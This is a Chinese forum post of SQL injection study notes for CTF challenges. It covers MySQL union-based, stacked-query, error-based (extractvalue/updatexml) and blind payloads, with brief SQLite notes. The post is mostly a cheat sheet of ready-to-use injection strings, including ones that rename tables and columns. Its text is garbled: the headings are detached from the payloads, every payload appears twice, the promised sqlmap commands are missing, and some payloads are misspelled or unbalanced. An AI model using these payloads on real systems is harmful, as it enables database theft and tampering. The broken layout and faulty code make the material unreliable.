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[原创]sql注入学习笔记
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发表于: 2022-7-14 13:04
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首先来了解一下在CTF中最为常见的sql查询语句
这个语句的意图也非常明显，查询users数据表中的所有字段，看能否找到用户输入的用户名和对应的密码。
利用点也很明确，通过闭合单引号在该查询语句的基础上添加我们想要的查询语句（此即为sql注入）
下面对CTF中出现的一些常见考点做一个简单的梳理和总结
分为数字型，字符型
(以字符型注入为例)
查询sql版本
查询数据库名(把database放在回显点上)：
查询数据表名：
查询字段名：
查询结果：
查询数据库：
查询数据表：
查询字段名（如果数据表名是数字形式，使用反引号）：
堆叠查询没有直接读取字段值的方法，但是有时候可以通过
运用handler命令:
运用rename命令:
查询数据库:
查询数据表:
查询字段:
查询字段值(字段名和数据表名不需要单引号)：
查询数据库名:
基于and的盲注payload：
基于if的盲注payload：
当正则匹配的黑名单修饰符没有i时
或：
table在某些情况下可以代替select
但值得注意的是，table在查询时，返回值为元组
注入payload：
以上是对于mysql的注入
当然还有不太常见但偶尔出现的sqlite注入,sqlite注入和mysql的注入大致上相同，值得注意的是一下几个区别
1.sqlite中查询版本号的函数时sqlite_version()
2.在sqlite中有一张叫sqlite_master的表，类似于mysql中的information.schema,用于存放数据表名，字段名等信息
3.在sqlite中并不支持#这个注释符，但可以用--等DDl中的注释符
虽然学会手注很重要，但是最方便的还是直接用sqlmap辣，一般在题目黑名单限制不多，形态比较常规的时候，可以直接扫到。
一键开扫：
post型注入（抓包）：
获取数据库名：
获取数据表名：
获取字段名：
获取字段值：
以上就是俺在学习sql注入过程中做的一个小小的汇总
如有错误，写的不好的或需要补充的地方，希望路过的大佬们能不吝赐教
select * from users where username='$username' and password='$password';
select * from users where username='$username' and password='$password';
'or 1=1#
username=admin\&password=or 1;# //通过斜杠转义单引号
'or 1=1#
username=admin\&password=or 1;# //通过斜杠转义单引号
?id=-1'order by 1%23 //使用order by主要用于确定字段数
?id=1'union select 1,2,3%23
?id=-1'order by 1%23 //使用order by主要用于确定字段数
?id=1'union select 1,2,3%23
?id=-1'union select 1,version(),3%23
?id=-1'union select 1,version(),3%23
?id=-1'union select 1,database(),3%23
?id=-1'union select 1,database(),3%23
?id=-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()%23
?id=-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()%23
?id=-1'union select 1,database(), group_concat(column_name) from information_schema.columns where table_name='(数据表名)'%23
?id=-1'union select 1,database(), group_concat(column_name) from information_schema.columns where table_name='(数据表名)'%23
?id=-1' union select (字段名),2 from 表名 %23
?id=-1' union select (字段名),2 from 表名 %23
1';show databases;%23
1';show databases;%23
1';show tables;%23
1';show tables;%23
1';show columns from (数据表名);%23
1';show columns from (数据表名);%23
1';handler (数据表) open;handler （数据表） read first;handler （数据表） close;%23
1';handler (数据表) open;handler （数据表） read first;handler （数据表） close;%23
1';rename tables `(默认表)` to `（新表）`;rename tables `（待查询的表）` to `（默认表）`; alter table `（默认表）` change `（待查询字段）` `（默认字段）` varchar(100);23
1';rename tables `(默认表)` to `（新表）`;rename tables `（待查询的表）` to `（默认表）`; alter table `（默认表）` change `（待查询字段）` `（默认字段）` varchar(100);23
id=a'and extractvalue(1,concat(0x7e,select(database())))%23
id=a'and extractvalue(1,concat(0x7e,select(database())))%23
id=a' and extractvalue(1,concat(0x7e,select(group_concat(table_name)from(information_schama.tables)where(table_schema)like('数据库名'))%23
id=a' and extractvalue(1,concat(0x7e,select(group_concat(table_name)from(information_schama.tables)where(table_schema)like('数据库名'))%23
id=a' and extractvalue(1,concat(0x7e,select(group_concat(column_name)from(information_schema.columns)where(table_name)like('数据表名'))))%23
id=a' and extractvalue(1,concat(0x7e,select(group_concat(column_name)from(information_schema.columns)where(table_name)like('数据表名'))))%23
id=a' and extractvalue(1,concat(0x7e,select(group_concat(字段名))from(数据表名)))%23
id=a' and extractvalue(1,concat(0x7e,select(group_concat(字段名))from(数据表名)))%23
id=a' and updatexml(1,concat(0x7e,(select database()),0x7e),1) %23
id=a' and updatexml(1,concat(0x7e,(select database()),0x7e),1) %23
id=1' and length(database())<5 %23
id=1' and length(database())<5 %23
?id=1' and (select ord(mid(group_concat(table_name),1,1))<97 information_schema.tables where table_schema=database()); %23
?id=1' and (select ord(mid(group_concat(table_name),1,1))<97 information_schema.tables where table_schema=database()); %23
1' and 表达式 and sleep(5)%23
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